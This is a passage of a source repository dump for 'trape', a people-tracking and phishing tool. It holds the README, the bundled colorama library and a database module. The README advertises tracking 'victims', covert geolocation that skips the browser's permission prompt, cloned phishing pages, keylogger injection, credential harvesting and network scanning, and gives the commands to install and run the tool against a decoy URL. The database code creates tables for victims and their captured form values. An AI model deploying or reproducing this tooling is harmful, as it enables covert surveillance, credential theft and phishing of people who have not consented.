Repository: jofpin/trape Branch: master Commit: 6baae2456919 Files: 35 Total size: 399.2 KB Directory structure: gitextract_bk87sebk/ ├── .gitignore ├── .travis.yml ├── README.md ├── core/ │ ├── __init__.py │ ├── colorama/ │ │ ├── __init__.py │ │ ├── ansi.py │ │ ├── ansitowin32.py │ │ ├── initialise.py │ │ ├── win32.py │ │ └── winterm.py │ ├── db.py │ ├── dependence/ │ │ ├── __init__.py │ │ └── urllib2.py │ ├── sockets.py │ ├── stats.py │ ├── trape.py │ ├── user.py │ ├── user_objects.py │ └── utils.py ├── requirements.txt ├── static/ │ ├── css/ │ │ ├── base-icons.css │ │ ├── services-icons.css │ │ └── styles.css │ └── js/ │ ├── base.js │ ├── custom.js │ ├── inject.js │ ├── login.js │ ├── payload.js │ ├── trape.js │ └── vscript.js ├── templates/ │ ├── 404.html │ ├── home.html │ └── login.html ├── trape.py └── version.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.nlog *.pyc *.db *.zip ngrok* static/files/* build/* dist/* main.spec trape.config *.nlog *.DS_Store ================================================ FILE: .travis.yml ================================================ language: python python: - 2.7 - 3.8 install: pip install flake8 script: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics ================================================ FILE: README.md ================================================ trape (stable) v2.0 ======== People tracker on the Internet: Learn to track the world, to avoid being traced. --- Trape is an **OSINT** analysis and research tool, which allows people to track and execute intelligent **social engineering** attacks in real time. It was created with the aim of teaching the world how large Internet companies could obtain **confidential information** such as the status of sessions of their websites or services and control their users through their browser, without their knowledge, but It evolves with the aim of helping **government** organizations, companies and **researchers** to track the cybercriminals. ![--trape header](https://i.imgur.com/2ycpXEj.png) At the beginning of the year 2018 was presented at **BlackHat Arsenal in Singapore**: https://www.blackhat.com/asia-18/arsenal.html#jose-pino and in multiple security events worldwide. Some benefits ----------- * **LOCATOR OPTIMIZATION:** Trace the path between you and the target you're tracking. Each time you make a move, the path will be updated, the location of the target is obtained silently through a bypass made in the browsers, allowing you to skip the location request on the victim's side, and at the same time maintain a precision of **99%** in the locator. ![](https://lh3.googleusercontent.com/qwq4LzzLTdFGwsGd8C3c9gxbDaN191s7lnvz75y0trwIMUGSaIu22QyBRgwKXxRwLBC5HGekBJLw9qgD5lnxgszcFVqJ24RVqv3q_T3HzD6wJeQU6oY4VVF8QT6Y83hstqD4C020) * **APPROACH:** When you're close to the target, Trape will tell you. ![](https://lh4.googleusercontent.com/NFnVGLoDF2BmM_N56w8Vf6cnyg1WWIIKgGC1MeBTKXxcIynMDfC1ZSu43ftoiYnwcBb2gjpVdS4y0zm5K7XAzvXf7bPIt5ZrWQCEq9eQuN8KL-SRPOtBgIZL53AWkJjwhC4gJUcG) * **REST API:** Generates an API (random or custom), and through this you can control and monitor other Web sites on the Internet remotely, getting the traffic of all visitors. ![](https://lh6.googleusercontent.com/DtQiYYLoL9di3LPcSSTCZ3AuVMlQaNcDkBdv_fZFX7rztjg_epWmIaA2AlGsWCr5Mwr2nVfLcsg1I5PXEcx87ErLS8JaruvRsEUIkScydXA3JhvbsmJov7qxbKooGgD5u32kmBHW) * **PROCESS HOOKS:** Manages social engineering attacks or processes in the target's browser. --- **SEVERAL:** You can issue a phishing attack of any domain or service in real time as well as send malicious files to compromise the device of a target. --- **INJECT JS:** You keep the JavaScript code running free in real time, so you can manage the execution of a **keylogger** or your own custom functions in JS which will be reflected in the target's browser. --- **SPEECH:** A process of audio creation is maintained which is played in the browser of the target, by means of this you can execute personalized messages in different voices with languages in Spanish and English. * **PUBLIC NETWORK TUNNEL:** Trape has its own **API** that is linked to [ngrok.com](https://ngrok.com) to allow the automatic management of public network tunnels; So you can publish the content of your trape server which is executed locally to the Internet, to manage hooks or public attacks. ![](https://lh5.googleusercontent.com/_f3zaCeZya_5AKaCoaPexyJVpNA7fiRqYQ9WBRiGLsHcx1W5V61V-VENeIRF2QbqvpenyOJ1AYyreTmOr2MWbf9PYu4qXF-tbYWi7qp6ZWeOwvoG3LYUdpjp3pAK9mIAQZzPJwAO) * **CLICK ATTACK TO GET CREDENTIALS:** Automatically obtains the target credentials, recognizing your connection availability on a social network or Internet service. ![](https://lh4.googleusercontent.com/IN8xWfHjGPRQ__-QwTXebG-087m4JzDIVFWtSlUtrnRpDn2d0U1cnQdNGqLQZA35-fneej1iTpkxgHZCq_pWZLlCd1SmyLZ-WJ5Juj2KbtyNbX4jI1oLUtqupxieH91mX65_ZmHy) * **NETWORK:** You can get information about the user's network. --- **SPEED:** Viewing the target's network speed. (Ping, download, upload, type connection) --- **HOSTS OR DEVICES:** Here you can get a scan of all the devices that are connected in the target network automatically. ![](https://lh3.googleusercontent.com/gkOWunWn7ge5yJt00lMBN_7GwSUxrAQV2y64ysyrjmD-vz_lO3bu6UkRjPJF8OljxyMTNlWVA9W8gVU3U0iI3RrECNNkr7H44Lz6z5Zj3-bA_hDF5TnTSoV_6584qFvuLkmShTQD) * **PROFILE:** Brief summary of the target's behavior and important additional information about your device. --- **GPU** --- **ENERGY** 30-session recognition ------- Session recognition is one of trape most interesting attractions, since you as a researcher can know remotely what service the target is connected to. ![](https://lh6.googleusercontent.com/IFxIh7Eemr63kycj2eBzJYvevCzLH5DkQGWUKzPx_Okn4WoExPl0LR7Qj-cSc0WF0rs9Ew6DJMwcyirZd0kdfLpdrqQ2700P_xdxW7wpZ7K6OWi8pluLKivHtU45HD4VtyM0lLwh) * **USABILITY:** You can delete logs and view alerts for each process or action you run against each target. ![](https://lh4.googleusercontent.com/dXx1lRG2z-ZlSIlQyTx_ra7sbkgKG2jeqGjIt86GebFiAaZyFDA4vy3QBLACd-1wOz4zdSIARWvo3hK2mEvrSJ6VPDSiOZgMLB4rUYXKDHrone0xIB3bwhAKPnsJUcuKW9xf_-sG) How to use it ------- First unload the tool. ``` git clone https://github.com/jofpin/trape.git cd trape python3 trape.py -h ``` If it does not work, try to install all the libraries that are located in the file **requirements.txt** ``` pip3 install -r requirements.txt ``` Example of execution ``` Example: python3 trape.py --url http://example.com --port 8080 ``` If you face some problems installing the tool, it is probably due to Python versions conflicts, you should run a Python 2.7 environment : ``` pip3 install virtualenv virtualenv -p /usr/bin/python3 trape_env source trape_env/bin/activate pip3 install -r requirements.txt python3 trape.py -h ``` **HELP AND OPTIONS** ``` user:~$ python3 trape.py --help usage: python3 trape.py -u <> -p <> [-h] [-v] [-u URL] [-p PORT] [-ak ACCESSKEY] [-l LOCAL] [--update] [-n] [-ic INJC] optional arguments: -h, --help show this help message and exit -v, --version show program's version number and exit -u URL, --url URL Put the web page url to clone -p PORT, --port PORT Insert your port -ak ACCESSKEY, --accesskey ACCESSKEY Insert your custom key access -l LOCAL, --local LOCAL Insert your home file -n, --ngrok Insert your ngrok Authtoken -ic INJC, --injectcode INJC Insert your custom REST API path -ud UPDATE, --update UPDATE Update trape to the latest version ``` **--url** In this option you add the URL you want to clone, which works as a decoy. **--port** Here you insert the port, where you are going to run the **trape server**. **--accesskey** You enter a custom key for the **trape panel**, if you do not insert it will generate an **automatic key**. **--injectcode** trape contains a **REST API** to play anywhere, using this option you can customize the name of the file to include, if it does not, generates a random name allusive to a token. **--local** Using this option you can call a local **HTML file**, this is the replacement of the **--url** option made to run a local lure in trape. **--ngrok** In this option you can enter a token, to run at the time of a process. This would replace the token saved in configurations. **--version** You can see the version number of trape. **--update** Option used to upgrade to the latest version of **trape**. **--help** It is used to see all the above options, from the executable. Disclaimer ------- This tool has been published educational purposes. It is intended to teach people how bad guys could track them, monitor them or obtain information from their credentials, we are not responsible for the use or the scope that someone may have through this project. We are totally convinced that if we teach how vulnerable things really are, we can make the Internet a safer place. Developer ------- This development and others, the participants will be mentioned with name, Twitter and charge. * **CREATOR** --- Jose Pino - [@jofpin](https://twitter.com/jofpin) - (**Security Researcher**) Happy hacking! ------- I invite you, if you use this tool helps to share, collaborate. Let's make the Internet a safer place, let's report. ## License The content of this project itself is licensed under the [Creative Commons Attribution 3.0 license](http://creativecommons.org/licenses/by/3.0/us/deed.en_US), and the underlying source code used to format and display that content is licensed under the [MIT license](http://opensource.org/licenses/mit-license.php). Copyright, 2018 by [Jose Pino](https://twitter.com/jofpin) ------------- ================================================ FILE: core/__init__.py ================================================ pass ================================================ FILE: core/colorama/__init__.py ================================================ # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. from .initialise import init, deinit, reinit, colorama_text from .ansi import Fore, Back, Style, Cursor from .ansitowin32 import AnsiToWin32 __version__ = '0.3.7' ================================================ FILE: core/colorama/ansi.py ================================================ # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. ''' This module generates ANSI character codes to printing colors to terminals. See: http://en.wikipedia.org/wiki/ANSI_escape_code ''' CSI = '\033[' OSC = '\033]' BEL = '\007' def code_to_chars(code): return CSI + str(code) + 'm' def set_title(title): return OSC + '2;' + title + BEL def clear_screen(mode=2): return CSI + str(mode) + 'J' def clear_line(mode=2): return CSI + str(mode) + 'K' class AnsiCodes(object): def __init__(self): # the subclasses declare class attributes which are numbers. # Upon instantiation we define instance attributes, which are the same # as the class attributes but wrapped with the ANSI escape sequence for name in dir(self): if not name.startswith('_'): value = getattr(self, name) setattr(self, name, code_to_chars(value)) class AnsiCursor(object): def UP(self, n=1): return CSI + str(n) + 'A' def DOWN(self, n=1): return CSI + str(n) + 'B' def FORWARD(self, n=1): return CSI + str(n) + 'C' def BACK(self, n=1): return CSI + str(n) + 'D' def POS(self, x=1, y=1): return CSI + str(y) + ';' + str(x) + 'H' class AnsiFore(AnsiCodes): BLACK = 30 RED = 31 GREEN = 32 YELLOW = 33 BLUE = 34 MAGENTA = 35 CYAN = 36 WHITE = 37 RESET = 39 # These are fairly well supported, but not part of the standard. LIGHTBLACK_EX = 90 LIGHTRED_EX = 91 LIGHTGREEN_EX = 92 LIGHTYELLOW_EX = 93 LIGHTBLUE_EX = 94 LIGHTMAGENTA_EX = 95 LIGHTCYAN_EX = 96 LIGHTWHITE_EX = 97 class AnsiBack(AnsiCodes): BLACK = 40 RED = 41 GREEN = 42 YELLOW = 43 BLUE = 44 MAGENTA = 45 CYAN = 46 WHITE = 47 RESET = 49 # These are fairly well supported, but not part of the standard. LIGHTBLACK_EX = 100 LIGHTRED_EX = 101 LIGHTGREEN_EX = 102 LIGHTYELLOW_EX = 103 LIGHTBLUE_EX = 104 LIGHTMAGENTA_EX = 105 LIGHTCYAN_EX = 106 LIGHTWHITE_EX = 107 class AnsiStyle(AnsiCodes): BRIGHT = 1 DIM = 2 NORMAL = 22 RESET_ALL = 0 Fore = AnsiFore() Back = AnsiBack() Style = AnsiStyle() Cursor = AnsiCursor() ================================================ FILE: core/colorama/ansitowin32.py ================================================ # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. import re import sys import os from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style from .winterm import WinTerm, WinColor, WinStyle from .win32 import windll, winapi_test winterm = None if windll is not None: winterm = WinTerm() def is_stream_closed(stream): return not hasattr(stream, 'closed') or stream.closed def is_a_tty(stream): return hasattr(stream, 'isatty') and stream.isatty() class StreamWrapper(object): ''' Wraps a stream (such as stdout), acting as a transparent proxy for all attribute access apart from method 'write()', which is delegated to our Converter instance. ''' def __init__(self, wrapped, converter): # double-underscore everything to prevent clashes with names of # attributes on the wrapped stream object. self.__wrapped = wrapped self.__convertor = converter def __getattr__(self, name): return getattr(self.__wrapped, name) def write(self, text): self.__convertor.write(text) class AnsiToWin32(object): ''' Implements a 'write()' method which, on Windows, will strip ANSI character sequences from the text, and if outputting to a tty, will convert them into win32 function calls. ''' ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) self.wrapped = wrapped # should we reset colors to defaults after every .write() self.autoreset = autoreset # create the proxy wrapping our output stream self.stream = StreamWrapper(wrapped, self) on_windows = os.name == 'nt' # We test if the WinAPI works, because even if we are on Windows # we may be using a terminal that doesn't support the WinAPI # (e.g. Cygwin Terminal). In this case it's up to the terminal # to support the ANSI codes. conversion_supported = on_windows and winapi_test() # should we strip ANSI sequences from our output? if strip is None: strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped)) self.strip = strip # should we should convert ANSI sequences into win32 calls? if convert is None: convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped) self.convert = convert # dict of ansi codes to win32 functions and parameters self.win32_calls = self.get_win32_calls() # are we wrapping stderr? self.on_stderr = self.wrapped is sys.stderr def should_wrap(self): ''' True if this class is actually needed. If false, then the output stream will not be affected, nor will win32 calls be issued, so wrapping stdout is not actually required. This will generally be False on non-Windows platforms, unless optional functionality like autoreset has been requested using kwargs to init() ''' return self.convert or self.strip or self.autoreset def get_win32_calls(self): if self.convert and winterm: return { AnsiStyle.RESET_ALL: (winterm.reset_all, ), AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), AnsiFore.RED: (winterm.fore, WinColor.RED), AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), AnsiFore.WHITE: (winterm.fore, WinColor.GREY), AnsiFore.RESET: (winterm.fore, ), AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), AnsiBack.BLACK: (winterm.back, WinColor.BLACK), AnsiBack.RED: (winterm.back, WinColor.RED), AnsiBack.GREEN: (winterm.back, WinColor.GREEN), AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), AnsiBack.BLUE: (winterm.back, WinColor.BLUE), AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), AnsiBack.CYAN: (winterm.back, WinColor.CYAN), AnsiBack.WHITE: (winterm.back, WinColor.GREY), AnsiBack.RESET: (winterm.back, ), AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), } return dict() def write(self, text): if self.strip or self.convert: self.write_and_convert(text) else: self.wrapped.write(text) self.wrapped.flush() if self.autoreset: self.reset_all() def reset_all(self): if self.convert: self.call_win32('m', (0,)) elif not self.strip and not is_stream_closed(self.wrapped): self.wrapped.write(Style.RESET_ALL) def write_and_convert(self, text): ''' Write the given text to our wrapped stream, stripping any ANSI sequences from the text, and optionally converting them into win32 calls. ''' cursor = 0 text = self.convert_osc(text) for match in self.ANSI_CSI_RE.finditer(text): start, end = match.span() self.write_plain_text(text, cursor, start) self.convert_ansi(*match.groups()) cursor = end self.write_plain_text(text, cursor, len(text)) def write_plain_text(self, text, start, end): if start < end: self.wrapped.write(text[start:end]) self.wrapped.flush() def convert_ansi(self, paramstring, command): if self.convert: params = self.extract_params(command, paramstring) self.call_win32(command, params) def extract_params(self, command, paramstring): if command in 'Hf': params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) while len(params) < 2: # defaults: params = params + (1,) else: params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) if len(params) == 0: # defaults: if command in 'JKm': params = (0,) elif command in 'ABCD': params = (1,) return params def call_win32(self, command, params): if command == 'm': for param in params: if param in self.win32_calls: func_args = self.win32_calls[param] func = func_args[0] args = func_args[1:] kwargs = dict(on_stderr=self.on_stderr) func(*args, **kwargs) elif command in 'J': winterm.erase_screen(params[0], on_stderr=self.on_stderr) elif command in 'K': winterm.erase_line(params[0], on_stderr=self.on_stderr) elif command in 'Hf': # cursor position - absolute winterm.set_cursor_position(params, on_stderr=self.on_stderr) elif command in 'ABCD': # cursor position - relative n = params[0] # A - up, B - down, C - forward, D - back x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) def convert_osc(self, text): for match in self.ANSI_OSC_RE.finditer(text): start, end = match.span() text = text[:start] + text[end:] paramstring, command = match.groups() if command in '\x07': # \x07 = BEL params = paramstring.split(";") # 0 - change title and icon (we will only change title) # 1 - change icon (we don't support this) # 2 - change title if params[0] in '02': winterm.set_title(params[1]) return text ================================================ FILE: core/colorama/initialise.py ================================================ # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. import atexit import contextlib import sys from .ansitowin32 import AnsiToWin32 orig_stdout = None orig_stderr = None wrapped_stdout = None wrapped_stderr = None atexit_done = False def reset_all(): if AnsiToWin32 is not None: # Issue #74: objects might become None at exit AnsiToWin32(orig_stdout).reset_all() def init(autoreset=False, convert=None, strip=None, wrap=True): if not wrap and any([autoreset, convert, strip]): raise ValueError('wrap=False conflicts with any other arg=True') global wrapped_stdout, wrapped_stderr global orig_stdout, orig_stderr orig_stdout = sys.stdout orig_stderr = sys.stderr if sys.stdout is None: wrapped_stdout = None else: sys.stdout = wrapped_stdout = \ wrap_stream(orig_stdout, convert, strip, autoreset, wrap) if sys.stderr is None: wrapped_stderr = None else: sys.stderr = wrapped_stderr = \ wrap_stream(orig_stderr, convert, strip, autoreset, wrap) global atexit_done if not atexit_done: atexit.register(reset_all) atexit_done = True def deinit(): if orig_stdout is not None: sys.stdout = orig_stdout if orig_stderr is not None: sys.stderr = orig_stderr @contextlib.contextmanager def colorama_text(*args, **kwargs): init(*args, **kwargs) try: yield finally: deinit() def reinit(): if wrapped_stdout is not None: sys.stdout = wrapped_stdout if wrapped_stderr is not None: sys.stderr = wrapped_stderr def wrap_stream(stream, convert, strip, autoreset, wrap): if wrap: wrapper = AnsiToWin32(stream, convert=convert, strip=strip, autoreset=autoreset) if wrapper.should_wrap(): stream = wrapper.stream return stream ================================================ FILE: core/colorama/win32.py ================================================ # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. # from winbase.h STDOUT = -11 STDERR = -12 try: import ctypes from ctypes import LibraryLoader windll = LibraryLoader(ctypes.WinDLL) from ctypes import wintypes except (AttributeError, ImportError): windll = None SetConsoleTextAttribute = lambda *_: None winapi_test = lambda *_: None else: from ctypes import byref, Structure, c_char, POINTER COORD = wintypes._COORD class CONSOLE_SCREEN_BUFFER_INFO(Structure): """struct in wincon.h.""" _fields_ = [ ("dwSize", COORD), ("dwCursorPosition", COORD), ("wAttributes", wintypes.WORD), ("srWindow", wintypes.SMALL_RECT), ("dwMaximumWindowSize", COORD), ] def __str__(self): return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( self.dwSize.Y, self.dwSize.X , self.dwCursorPosition.Y, self.dwCursorPosition.X , self.wAttributes , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X ) _GetStdHandle = windll.kernel32.GetStdHandle _GetStdHandle.argtypes = [ wintypes.DWORD, ] _GetStdHandle.restype = wintypes.HANDLE _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo _GetConsoleScreenBufferInfo.argtypes = [ wintypes.HANDLE, POINTER(CONSOLE_SCREEN_BUFFER_INFO), ] _GetConsoleScreenBufferInfo.restype = wintypes.BOOL _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute _SetConsoleTextAttribute.argtypes = [ wintypes.HANDLE, wintypes.WORD, ] _SetConsoleTextAttribute.restype = wintypes.BOOL _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition _SetConsoleCursorPosition.argtypes = [ wintypes.HANDLE, COORD, ] _SetConsoleCursorPosition.restype = wintypes.BOOL _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA _FillConsoleOutputCharacterA.argtypes = [ wintypes.HANDLE, c_char, wintypes.DWORD, COORD, POINTER(wintypes.DWORD), ] _FillConsoleOutputCharacterA.restype = wintypes.BOOL _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute _FillConsoleOutputAttribute.argtypes = [ wintypes.HANDLE, wintypes.WORD, wintypes.DWORD, COORD, POINTER(wintypes.DWORD), ] _FillConsoleOutputAttribute.restype = wintypes.BOOL _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA _SetConsoleTitleW.argtypes = [ wintypes.LPCSTR ] _SetConsoleTitleW.restype = wintypes.BOOL handles = { STDOUT: _GetStdHandle(STDOUT), STDERR: _GetStdHandle(STDERR), } def winapi_test(): handle = handles[STDOUT] csbi = CONSOLE_SCREEN_BUFFER_INFO() success = _GetConsoleScreenBufferInfo( handle, byref(csbi)) return bool(success) def GetConsoleScreenBufferInfo(stream_id=STDOUT): handle = handles[stream_id] csbi = CONSOLE_SCREEN_BUFFER_INFO() success = _GetConsoleScreenBufferInfo( handle, byref(csbi)) return csbi def SetConsoleTextAttribute(stream_id, attrs): handle = handles[stream_id] return _SetConsoleTextAttribute(handle, attrs) def SetConsoleCursorPosition(stream_id, position, adjust=True): position = COORD(*position) # If the position is out of range, do nothing. if position.Y <= 0 or position.X <= 0: return # Adjust for Windows' SetConsoleCursorPosition: # 1. being 0-based, while ANSI is 1-based. # 2. expecting (x,y), while ANSI uses (y,x). adjusted_position = COORD(position.Y - 1, position.X - 1) if adjust: # Adjust for viewport's scroll position sr = GetConsoleScreenBufferInfo(STDOUT).srWindow adjusted_position.Y += sr.Top adjusted_position.X += sr.Left # Resume normal processing handle = handles[stream_id] return _SetConsoleCursorPosition(handle, adjusted_position) def FillConsoleOutputCharacter(stream_id, char, length, start): handle = handles[stream_id] char = c_char(char.encode()) length = wintypes.DWORD(length) num_written = wintypes.DWORD(0) # Note that this is hard-coded for ANSI (vs wide) bytes. success = _FillConsoleOutputCharacterA( handle, char, length, start, byref(num_written)) return num_written.value def FillConsoleOutputAttribute(stream_id, attr, length, start): ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' handle = handles[stream_id] attribute = wintypes.WORD(attr) length = wintypes.DWORD(length) num_written = wintypes.DWORD(0) # Note that this is hard-coded for ANSI (vs wide) bytes. return _FillConsoleOutputAttribute( handle, attribute, length, start, byref(num_written)) def SetConsoleTitle(title): return _SetConsoleTitleW(title) ================================================ FILE: core/colorama/winterm.py ================================================ # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. from . import win32 # from wincon.h class WinColor(object): BLACK = 0 BLUE = 1 GREEN = 2 CYAN = 3 RED = 4 MAGENTA = 5 YELLOW = 6 GREY = 7 # from wincon.h class WinStyle(object): NORMAL = 0x00 # dim text, dim background BRIGHT = 0x08 # bright text, dim background BRIGHT_BACKGROUND = 0x80 # dim text, bright background class WinTerm(object): def __init__(self): self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes self.set_attrs(self._default) self._default_fore = self._fore self._default_back = self._back self._default_style = self._style # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. # So that LIGHT_EX colors and BRIGHT style do not clobber each other, # we track them separately, since LIGHT_EX is overwritten by Fore/Back # and BRIGHT is overwritten by Style codes. self._light = 0 def get_attrs(self): return self._fore + self._back * 16 + (self._style | self._light) def set_attrs(self, value): self._fore = value & 7 self._back = (value >> 4) & 7 self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) def reset_all(self, on_stderr=None): self.set_attrs(self._default) self.set_console(attrs=self._default) def fore(self, fore=None, light=False, on_stderr=False): if fore is None: fore = self._default_fore self._fore = fore # Emulate LIGHT_EX with BRIGHT Style if light: self._light |= WinStyle.BRIGHT else: self._light &= ~WinStyle.BRIGHT self.set_console(on_stderr=on_stderr) def back(self, back=None, light=False, on_stderr=False): if back is None: back = self._default_back self._back = back # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style if light: self._light |= WinStyle.BRIGHT_BACKGROUND else: self._light &= ~WinStyle.BRIGHT_BACKGROUND self.set_console(on_stderr=on_stderr) def style(self, style=None, on_stderr=False): if style is None: style = self._default_style self._style = style self.set_console(on_stderr=on_stderr) def set_console(self, attrs=None, on_stderr=False): if attrs is None: attrs = self.get_attrs() handle = win32.STDOUT if on_stderr: handle = win32.STDERR win32.SetConsoleTextAttribute(handle, attrs) def get_position(self, handle): position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition # Because Windows coordinates are 0-based, # and win32.SetConsoleCursorPosition expects 1-based. position.X += 1 position.Y += 1 return position def set_cursor_position(self, position=None, on_stderr=False): if position is None: # I'm not currently tracking the position, so there is no default. # position = self.get_position() return handle = win32.STDOUT if on_stderr: handle = win32.STDERR win32.SetConsoleCursorPosition(handle, position) def cursor_adjust(self, x, y, on_stderr=False): handle = win32.STDOUT if on_stderr: handle = win32.STDERR position = self.get_position(handle) adjusted_position = (position.Y + y, position.X + x) win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) def erase_screen(self, mode=0, on_stderr=False): # 0 should clear from the cursor to the end of the screen. # 1 should clear from the cursor to the beginning of the screen. # 2 should clear the entire screen, and move cursor to (1,1) handle = win32.STDOUT if on_stderr: handle = win32.STDERR csbi = win32.GetConsoleScreenBufferInfo(handle) # get the number of character cells in the current buffer cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y # get number of character cells before current cursor position cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X if mode == 0: from_coord = csbi.dwCursorPosition cells_to_erase = cells_in_screen - cells_before_cursor if mode == 1: from_coord = win32.COORD(0, 0) cells_to_erase = cells_before_cursor elif mode == 2: from_coord = win32.COORD(0, 0) cells_to_erase = cells_in_screen # fill the entire screen with blanks win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) # now set the buffer's attributes accordingly win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) if mode == 2: # put the cursor where needed win32.SetConsoleCursorPosition(handle, (1, 1)) def erase_line(self, mode=0, on_stderr=False): # 0 should clear from the cursor to the end of the line. # 1 should clear from the cursor to the beginning of the line. # 2 should clear the entire line. handle = win32.STDOUT if on_stderr: handle = win32.STDERR csbi = win32.GetConsoleScreenBufferInfo(handle) if mode == 0: from_coord = csbi.dwCursorPosition cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X if mode == 1: from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) cells_to_erase = csbi.dwCursorPosition.X elif mode == 2: from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) cells_to_erase = csbi.dwSize.X # fill the entire screen with blanks win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) # now set the buffer's attributes accordingly win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) def set_title(self, title): win32.SetConsoleTitle(title) ================================================ FILE: core/db.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # ** # ######### # trape # ######### # # trape depends of this file # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / # ** import sqlite3 import os.path as path class Database(object): def __init__(self): self.firstTime = not(path.exists("database.db")) self.conn = sqlite3.connect("database.db", check_same_thread=False) self.cursor = self.conn.cursor() def loadDatabase(self): self.cursor.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, `connection` TEXT, `latitude_browser` TEXT, `longitude_browser` TEXT, `refer` TEXT, PRIMARY KEY(`id`) )""") self.cursor.execute( """CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""") self.cursor.execute( """CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""") self.cursor.execute( """CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""") self.cursor.execute( """CREATE TABLE IF NOT EXISTS "victims_data" ( `id` TEXT, `name` TEXT, `last_online` date, `gpu` TEXT, `donottrack` TEXT, `navigation_mode` TEXT)""") 